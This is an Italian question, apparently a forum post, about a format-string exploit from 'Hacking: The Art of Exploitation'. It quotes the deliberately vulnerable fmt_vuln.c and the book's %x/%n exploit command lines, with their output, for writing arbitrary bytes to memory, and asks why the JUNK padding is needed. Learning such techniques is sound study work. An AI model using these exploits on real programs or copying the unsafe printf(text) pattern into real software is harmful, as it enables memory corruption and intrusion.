Ho letto "Hacking: The Art of Exploitation 2nd Ed". e ho colpito una parte che non è spiegata abbastanza chiaramente per me.
Nella sezione "Scrivere su un indirizzo arbitrario" Jon Erickson crea un piccolo programma vulnerabile c (chiamato fmt_vuln) che passa i parametri di formato (come% x) come primo argomento per printf. Ciò farà iniziare la lettura di printf dalla parte superiore del frame dello stack. Quindi utilizza questa vulnerabilità per scrivere all'indirizzo arbitrario 0x08049794.
Il codice sottostante ( fmt_vuln.c
) è il programma di destinazione.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Utilizzando questa vulnerabilità, sto cercando di scrivere un valore "0xDDCCBBAA" all'indirizzo di test_val
. L'output del programma mostra che test_val
si trova in 0x08049794.
L'exploit assomiglia a questo:
./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n
Scrive il valore esadecimale 0xAA all'indirizzo 0x08049794.
4 scrive in indirizzi sequenziali, a partire da 0x08049794, e aggiungendo 1 byte ogni volta dovrebbe raggiungere questo obiettivo. La prima volta che scriviamo 0xAA, la seconda volta scriviamo 0xBB su 0x08049795, la terza volta scriviamo 0xCC su 0x08049796 e l'ultima volta scriviamo 0xDD su 0x08049797.
Il libro usa l'exploit in questo modo:
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $
La mia domanda è:
Perché ho bisogno dei 4 byte di dati spazzatura tra gli indirizzi? L'autore usa la parola "JUNK" perché è una stringa arbitraria di 4 byte, ma potrebbe essere qualsiasi cosa lunga 4 byte. Ma non spiega mai perché sono necessari i 4 byte di dati JUNK. Dice solo "Un altro argomento è necessario per un altro parametro di formato% x per incrementare il conteggio dei byte a 187, che è 0xBB in decimale".